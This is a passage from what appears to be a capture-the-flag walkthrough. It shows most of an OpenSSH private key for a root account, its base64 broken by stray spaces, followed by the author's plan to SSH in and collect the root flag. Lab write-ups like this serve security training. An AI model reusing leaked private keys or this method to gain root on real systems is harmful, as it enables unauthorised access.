t43cw71C1FV08n2D / Z2TXzVDtrL4hdt3srxq5r21yJTXfhd1nSVeZsHPjz5LCA71BCE997
44VnRTblCEyhXxOSpWZLA + jed691qJvgZfrQ5iB9yQKd344 /+ p7K3c5ckZ6MSvyvsrWrEq
Hcj2ZrEtQ62 / ZTowM0Yy6V3EGsR373eyZUT ++ 5su + CpF1A6GYgAPpdEiY4CIEv3lqgWFC3
4uJ / yrRHaVbIIaSOkuBi0h7Is562aoGp7 / 9Q3j / YUjKBtLvbvbNRxwM + sCWLasbK5xS7Vv
D569yMirw2xOibp3nHepmEJnYZKomzqmFsEvA1GbWiPdLCwsX7btbcp0tbjsD5dmAcU4nF
JZI1vtYUKoNrmkI5WtvCC8bBvA4BglXPSrrj1pGP9QPVdUVyOc6QKSbfomyefO2HQqne6z
y0N8QdAZ3dDzXfBlVfuPpdP8yqUnrVnzpL8U / gc1ljKcSEx262jXKHAG3mTTNKtooZAAAA
wQDPMrdvvNWrmiF9CSfTnc5v3TQfEDFCUCmtCEpTIQHhIxpiv + mocHjaPiBRnuKRPDsf81
ainyiXYooPZqUT2lBDtIdJbid6G7oLoVbx4xDJ7h4 + U70rpMb / tWRBuM51v9ZXAlVUz14o
Kt + Rx9peAx7dEfTHNvfdauGJL6k3QyGo + 90nQDripDIUPvE0sac1tFLrfvJHYHsYiS7hLM
dFu1uEJvusaIbslVQqpAqgX5Ht75rd0BZytTC9Dx3b71YYSdoAAADBANMZ5ELPuRUDb0Gh
mXSlMvZVJEvlBISUVNM2YC + 6hxh2Mc / 0Szh0060qZv9ub3DXCDXMrwR5o6mdKv / kshpaD4
Ml + fjgTzmOo / kTaWpKWcHmSrlCiMi1YqWUM6k9OCfr7UTTd7 / uqkiYfLdCJGoWkehGGxep
lJpUUj34t0PD8eMFnlfV8oomTvruqx0wWp6EmiyT9zjs2vJ3zapp2HWuaSdv7s2aF3gibc
z04JxGYCePRKTBy / kth9VFsAJ3eQezpwAAAMEAwaLVktNNw + sG / Erdgt1i9 / vttCwVVhw9
RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f + 5mU8S1bhleY5hP9
6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5 / VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN / YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL / w5WJMelDW + l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA ==
----- END OPENSSH PRIVATE KEY -----
Now let’s ssh
in and get the root.txt
flag.